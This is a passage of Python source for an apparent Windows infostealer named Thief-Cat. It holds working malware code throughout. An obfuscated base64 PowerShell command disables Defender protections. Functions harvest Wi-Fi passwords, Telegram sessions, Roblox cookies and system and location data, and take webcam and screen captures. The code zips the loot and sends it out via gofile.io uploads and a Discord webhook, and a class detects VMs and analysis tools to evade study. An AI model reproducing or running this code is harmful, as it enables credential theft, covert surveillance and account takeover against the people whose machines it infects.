            cmd = base64.b64decode(b'cG93ZXJzaGVsbC5leGUgU2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWUgLURpc2FibGVJT0FWUHJvdGVjdGlvbiAkdHJ1ZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkIC1FbmFibGVOZXR3b3JrUHJvdGVjdGlvbiBBdWRpdE1vZGUgLUZvcmNlIC1NQVBTUmVwb3J0aW5nIERpc2FibGVkIC1TdWJtaXRTYW1wbGVzQ29uc2VudCBOZXZlclNlbmQgJiYgcG93ZXJzaGVsbCBTZXQtTXBQcmVmZXJlbmNlIC1TdWJtaXRTYW1wbGVzQ29uc2VudCAyICYgcG93ZXJzaGVsbC5leGUgLWlucHV0Zm9ybWF0IG5vbmUgLW91dHB1dGZvcm1hdCBub25lIC1Ob25JbnRlcmFjdGl2ZSAtQ29tbWFuZCAiQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAlVVNFUlBST0ZJTEUlXEFwcERhdGEiICYgcG93ZXJzaGVsbC5leGUgLWlucHV0Zm9ybWF0IG5vbmUgLW91dHB1dGZvcm1hdCBub25lIC1Ob25JbnRlcmFjdGl2ZSAtQ29tbWFuZCAiQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAlVVNFUlBST0ZJTEUlXExvY2FsIiAmIHBvd2Vyc2hlbGwuZXhlIC1jb21tYW5kICJTZXQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25FeHRlbnNpb24gJy5leGUnIiAK').decode()
            subprocess.run(cmd, shell=True, check=True)
        except subprocess.CalledProcessError as e:
            pass

    @extract_try
    def thiefcat_GetWifi(self):
        if self.Found_Wifi != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Systeme")
            os.makedirs(directory, exist_ok=True)
            passwords = Functions.NotKSCH58findwifi()
            profiles = [
                f'SSID: {ssid}\n{NotKSCH58}  PASSW:{password}' for ssid, password in passwords.items()]
            divider = f'\n\n{NotKSCH58} | https://github.com/KSCH-58/{NotKSCH58}\n\n'

            with open(os.path.join(self.dir, 'Systeme', 'Wifi Info.txt'), "w", encoding='utf-8', errors='ignore') as file:
                file.write(divider + divider.join(profiles))
            self.thingstocount['wifinet'] += len(profiles)
        except:
            pass

    def thiefcat_GetTLGSession(self):
         if self.Found_Telegram == "yes":
            tlgpath = []
            logpaths = []
            find = []
            doeshehavekey = False

            process = subprocess.run("reg query HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", shell=True, capture_output=True)
            if process.returncode == 0:
                paths = [x for x in process.stdout.decode(errors="ignore").splitlines() if x.strip()]
                for path in paths:
                    process = subprocess.run('reg query "{}" /v DisplayIcon'.format(path), shell=True, capture_output=True)
                    if process.returncode == 0:
                        path = process.stdout.strip().decode(errors="ignore").split(" " * 4)[-1].split(",")[0]
                        if "telegram" in path.lower():
                            tlgpath.append(os.path.dirname(path))
            if not tlgpath:
                tlgpath.append(os.path.join(roaming, "Telegram Desktop"))
            for path in tlgpath:
                path = os.path.join(path, "tdata")
                if os.path.isdir(path):
                    for item in os.listdir(path):
                        itmpath = os.path.join(path, item)
                        if item == "key_datas":
                            doeshehavekey = True
                            logpaths.append(itmpath)

                        if os.path.isfile(itmpath):
                            find.append(item)
                        else:
                            logpaths.extend([os.path.join(itmpath, x) for x in os.listdir(itmpath)])
            if doeshehavekey and len(logpaths) > 1:
                save_to_dir = os.path.join(self.dir, "Telegram")
                os.makedirs(save_to_dir, exist_ok=True)
                for path in logpaths:
                    try:
                        shutil.copy2(path, os.path.join(save_to_dir, os.path.basename(path)))
                    except Exception:
                        shutil.rmtree(save_to_dir)
                        return

    def thiefcat_GetRoblox(self):
        if self.Found_Roblox != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Games", "Roblox")
            def subproc(path):
                try:
                    return (
                        subprocess.check_output(
                            rf"powershell Get-ItemPropertyValue -Path {path}:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY",
                            creationflags=0x08000000,
                        )
                        .decode()
                        .rstrip()
                    )
                except Exception:
                    return None

            regex_c00ks = subproc(r"HKLM") or subproc(r"HKCU")
            if regex_c00ks:
                self.rblxcckcs.append(regex_c00ks)
            if self.rblxcckcs:
                os.makedirs(directory, exist_ok=True)
                with open(os.path.join(self.dir, "Games","Roblox", f"Roblox_{justaterm}.txt"), "w") as f:
                    f.write("\n".join(self.rblxcckcs))
        except:
            pass


    async def Upload_Path(self, filename, path):
        if os.path.isfile(path):
            with open(path, "rb") as file:
                fileBytes = file.read()

            if filename is None:
                filename = os.path.basename(path)

            try:
                server_response = requests.get("https://api.gofile.io/getServer")
                server = server_response.json()["data"]["server"]
                if server:
                    upload_url = "https://{}.gofile.io/uploadFile".format(server)
                    upload_fields = {"file": (filename, fileBytes)}
                    upload_response = requests.post(upload_url, files=upload_fields)
                    url = upload_response.json()["data"]["downloadPage"]
                    self.thezip_url = url
                    if url:
                        return url
            except Exception as e:
                    return None


    def thiefcat_TakeCamera(self):
        if self.Found_Screen != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Systeme")
            os.makedirs(directory, exist_ok=True)
            camera = cv2.VideoCapture(0)
            result, image = camera.read()
            if result:
                cv2.imwrite(self.dir + f"\\Systeme\\Cam.png",image)
                self.thingstocount['screenshotbro'] += 1
            else:
                pass
        except:
            pass

    def thiefcat_TakeScreenshot(self):
        if self.Found_Screen != "yes":
                return
        try:
            directory = os.path.join(self.dir, "Systeme")
            os.makedirs(directory, exist_ok=True) 
            try:
                screen_width = win32api.GetSystemMetrics(0)
                screen_height = win32api.GetSystemMetrics(1)
                image = ImageGrab.grab(bbox=(0, 0, screen_width, screen_height))
                image.save(self.dir + f"\\Systeme\\Screenshot.png")
            except Exception as e:
                pass
        except Exception as e:
                pass
        

    def thiefcat_GetSysInfo(self):
        if self.Found_Sys != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Systeme")
            about = [
                f"{imthebestdev} | {spoted_victim}",
                f"Windows Key: {self.windowfoundkey}",
                f"Windows Version: {self.never_wind}",
                f"Ram Storage: {self.fastmem_stored}GB",
                f"Disk Storage: {space_stored}GB",
                f"Hwid: {self.window_wid}",
                f"IP: {self.ip}",
                f"City: {self.city}",
                f"Country: {self.country}",
                f"Region: {self.region}",
                f"Org: {self.org}",
                f"GoogleMaps: {self.googlemap}",
                f"Lang: {self.pc_codewinl}"
            ]
            os.makedirs(directory, exist_ok=True)
            with open(os.path.join(self.dir, 'Systeme', 'System_Info.txt'), 'w', encoding='utf-8', errors='ignore') as f:
                f.write('\n'.join(about))
        except:
            pass

    
    async def finished_bc(self):
        try:
            for i in os.listdir(self.dir):
                if i.endswith(".txt"):
                    path = self.dir + self.sep + i
                    with open(path, "r", errors="ignore") as ff:
                        x = ff.read()
                        if not x:
                            ff.close()
                            os.remove(path)
                        else:
                            with open(path, "w", encoding="utf-8", errors="ignore") as f:
                                f.write(
                                    f"{NotKSCH58} Create By KSCH-58 | https://github.com/KSCH-58\n\n"
                                )
                            with open(path, "a", encoding="utf-8", errors="ignore") as fp:
                                fp.write(
                                    x
                                    + f"\n\n{NotKSCH58} Create By KSCH-58 | https://github.com/KSCH-58"
                                )
            _zipfile = os.path.join(
                self.appdata, f"{self.getlange(self.pc_codewinl)}THIEFCAT_[{imthebestdev}].zip")
            zipped_file = zipfile.ZipFile(_zipfile, "w", zipfile.ZIP_DEFLATED)
            path_src = os.path.abspath(self.dir)
            for dirname, _, files in os.walk(self.dir):
                for filename in files:
                    absname = os.path.abspath(os.path.join(dirname, filename))
                    arcname = absname[len(path_src) + 1:]
                    zipped_file.write(absname, arcname)
            zipped_file.close()
                
            file_count, files_found, tokens = 0, "", ""
            for _, __, files in os.walk(self.dir):
                for _file in files:
                    if file_count < 10: 
                        files_found += f"{_file}\n"
                        file_count += 1
            for i, tkn in enumerate(self.hawked):
                if i >= 3:
                    break
                tokens += f"{tkn}\n\n"
            fileCount = f"{file_count} {NotKSCH58} FILES: "
            file_list = files_found.strip().split('\n')
            formatted_files_found = ''
            counter = 0
            for i in range(0, len(file_list), 2):
                file1 = file_list[i]
                if i + 1 < len(file_list):
                    file2 = file_list[i + 1]
                else:
                    file2 = ""
                if len(file1) > 17 or len(file2) > 17:
                    counter += 1
                    continue
                formatted_file1 = file1.ljust(20, "\u2009") 
                formatted_file2 = file2.ljust(20, "\u2009")
                formatted_files_found += f"- {formatted_file1} - {formatted_file2}\n"
            if counter > 0:
                formatted_files_found += f"\n+ {counter} files\n"

            embed = {
                "username": f"{NotKSCH58}",
                "avatar_url": f"https://raw.githubusercontent.com/meccksch/cerf/main/assets/thiefcat.png",
                "embeds": [
                    {
                        "author": {
                            "name": f"{NotKSCH58} v9 ",
                            "url": f"https://github.com/KSCH-58",
                            "icon_url": f"https://raw.githubusercontent.com/meccksch/cerf/main/assets/d95it6h-ceaa1da3-727a-402f-8061-9a0a8e68af13.gif",
                        },
                        "color": 4873727,
                        "description": f"[{NotKSCH58} ON TOP <a:thiefcat:1125732578419290122>]({self.googlemap})",
                        "fields": [
                            {
                                "name": "\u200b",
                                "value": f"""```ansi
[2;31mIP:[0m {self.ip if self.ip else "N/A"}
[2;31mOrg:[0m {self.org if self.org else "N/A"}
[2;31mCity:[0m {self.city if self.city else "N/A"}
[2;31mRegion:[0m {self.region if self.region else "N/A"}
[2;31mCountry:[0m {self.country if self.country else "N/A"} 
```
                                """.replace(
                                    " ", " "
                                ),
                                "inline": False,
                            },
                            {
                                "name": "\u200b",
                                "value": f"""```markdown
# Computer Name: {spoted_victim.replace(" ", " ")}
# Windows Key: {self.windowfoundkey.replace(" ", " ")}
# Windows Ver: {self.never_wind.replace(" ", " ")}
# Ram Stockage: {self.fastmem_stored}GB
# Disk Stockage: {space_stored}GB
# Total Disk Storage: {self.total_gb:.2f}GB
# Used {self.used_gb:.2f}GB
# Free: {self.free_gb:.2f}GB```
                                """.replace(
                                    " ", ""
                                ),
                                "inline": True,
                            },
                            {
                                "name": "\u200b",
                                "value": f"""```markdown
# {justaterm} Found: {self.thingstocount[f'{justatermlil}']}
# Passwords Found: {self.thingstocount['passwrd']}
# Credit Card Found: {self.thingstocount['creditcard']}
# Wifi Passwords Found: {self.thingstocount['wifinet']}
# Bookmarks Found: {self.thingstocount['bookmarksbaby']}
# History Found: {self.thingstocount['historybaby']}
# Minecraft Tokens Found: {self.thingstocount['friendlybabymc']}
# Discord Tokens Found: {self.thingstocount['info_discord']}
# Roblox {justaterm} Found: {self.thingstocount['roblox_friendly']}```
                                """.replace(
                                    " ", ""
                                ),
                                "inline": True,
                            },
                            {
                                "name": "\u200b",
                                "value": f"""```yaml
Disk Used at:
{self.progress_bar} {self.used_percent:.2f}
                                    ```
                                """.replace(
                                    " ", ""
                                ),
                                "inline": False,
                            },
                            {
                                "name": fileCount,
                                "value": f"""```markdown
                                    {formatted_files_found.replace('_', ' ')}
                                    ```
                                """.replace(
                                    " ", ""
                                ),
                                "inline": False,
                            },
                            {
                                "name": "**- Valid Tokens Found:**",
                                "value": f"""```yaml
{tokens[:2000] if tokens else "tokens not found"}```
        """.replace(" ", ""),
                                
                                "inline": False,
                            },

                        ],
                        "footer": {
                            "text": f"{NotKSCH58} Create BY KSCH-58・https://github.com/KSCH-58"
                        },
                    }
                ],
            }
            try:
                httpx.post(self.thishawk_webh, json=embed)
                link = await self.Upload_Path(f"{self.getlange(self.pc_codewinl)}THIEFCAT_{imthebestdev}.zip", _zipfile)
                file_size = os.path.getsize(_zipfile)
                if file_size > 8 * 1024 * 1024:
                    embed2 = {
                        "username": f"{NotKSCH58}",
                        "avatar_url": f"https://raw.githubusercontent.com/meccksch/cerf/main/assets/thiefcat.png",
                        "embeds": [
                    {
                        "author": {
                            "name": f"{NotKSCH58} v9 ",
                            "url": f"https://github.com/{NotKSCH58}",
                            "icon_url": f"https://raw.githubusercontent.com/meccksch/cerf/main/assets/d95it6h-ceaa1da3-727a-402f-8061-9a0a8e68af13.gif",
                        },
                        "color": 4873727,
                        "description": f"So Big For Discord Your Link is : {link}",
                        "footer": {
                            "text": f"{NotKSCH58} Create BY KSCH-58・https://github.com/KSCH-58"
                        },
                    }
                ],
            }
                    httpx.post(self.thishawk_webh, json=embed2)
                else:
                    with open(_zipfile, "rb") as f:
                        if self.webapi_find in self.thishawk_webh:
                            httpx.post(self.thishawk_webh,files={"upload_file": f}) 
                            time.sleep(1)
            except:
                pass
            finally:
                try:
                    f.close()
                    zipped_file.close()
                    _zipfile.close()
                except:
                    pass
                try:
                    os.remove(_zipfile)
                except:
                    pass
        except:
            pass

class AntiDebugg(Functions):
    inVM = False
    def __init__(self):
        def fetch_blocked_programs(url):
            response = requests.get(url)
            if response.status_code == 200:
                data = response.json()
                return data
            else:
                pass 
        
        self.processes = list()

        blocked_prog = "https://raw.githubusercontent.com/meccksch/cerf/main/assets/blocked_progr.json"
        blocked_pcname = "https://raw.githubusercontent.com/meccksch/cerf/main/assets/blockedpcname.json"
        blocked_hwid = "https://raw.githubusercontent.com/meccksch/cerf/main/assets/blocked_hwid.json"
        blocked_ips = "https://raw.githubusercontent.com/meccksch/cerf/main/assets/blocked_ips.json"
        self.users_blocked = fetch_blocked_programs(blocked_prog)
        self.pcname_blocked = fetch_blocked_programs(blocked_pcname)
        self.hwid_blocked = fetch_blocked_programs(blocked_hwid)
        self.ips_blocked =fetch_blocked_programs(blocked_ips)

        for func in [self.last_check, self.keys_regex, self.Check_and_Spec]:
            process = threading.Thread(target=func, daemon=True)
            self.processes.append(process)
            process.start()
        for t in self.processes:
            try:
                t.join()
            except RuntimeError:
                continue

    def programExit(self):
        self.__class__.inVM = True

    def last_check(self):
        blocked_paths = [r"D:\Tools", r"D:\OS2", r"D:\NT3X"]
        blocked_users = set(self.users_blocked)
        blocked_pcnames = set(self.pcname_blocked)
        blocked_ips = set(self.ips_blocked)
        blocked_hwids = set(self.hwid_blocked)

        if any(os.path.exists(path) for path in blocked_paths):
            self.programExit()
        if imthebestdev in blocked_users:
            self.programExit()
        if spoted_victim in blocked_pcnames:
            self.programExit()
        if self.info_netword()[0] in blocked_ips:
            self.programExit()
        if self.info_sys()[0] in blocked_hwids:
            self.programExit()

    def Check_and_Spec(self):
        memorystorage = int(fastmem_stored)
        storagespace = int(space_stored)
        cpu_count = psutil.cpu_count()
        if memorystorage <= 2 or storagespace <= 100 or cpu_count <= 1:
            self.programExit()

    def keys_regex(self):
        first_reg = os.system(
            lilcorereg
        )
        sec_reg = os.system(
            anotherreg
        )
        if (first_reg and sec_reg) != 1:
            self.programExit()
        simphand = winreg.OpenKey(
            winreg.HKEY_LOCAL_MACHINE, justakeyreg
        )
        try:
            value_reg = winreg.QueryValueEx(simphand, "0")[0]
            if ("VMware" or "VBOX") in value_reg:
                self.programExit()
        finally:
            winreg.CloseKey(simphand)


if __name__ == "__main__" and os.name == "nt":
    asyncio.run(NotKSCH58_first_funct().init())
    autoo = threading.Thread(target=Replacer_Loop().run)
    autoo.start()

main.py
KSCH-58/Thief-Cat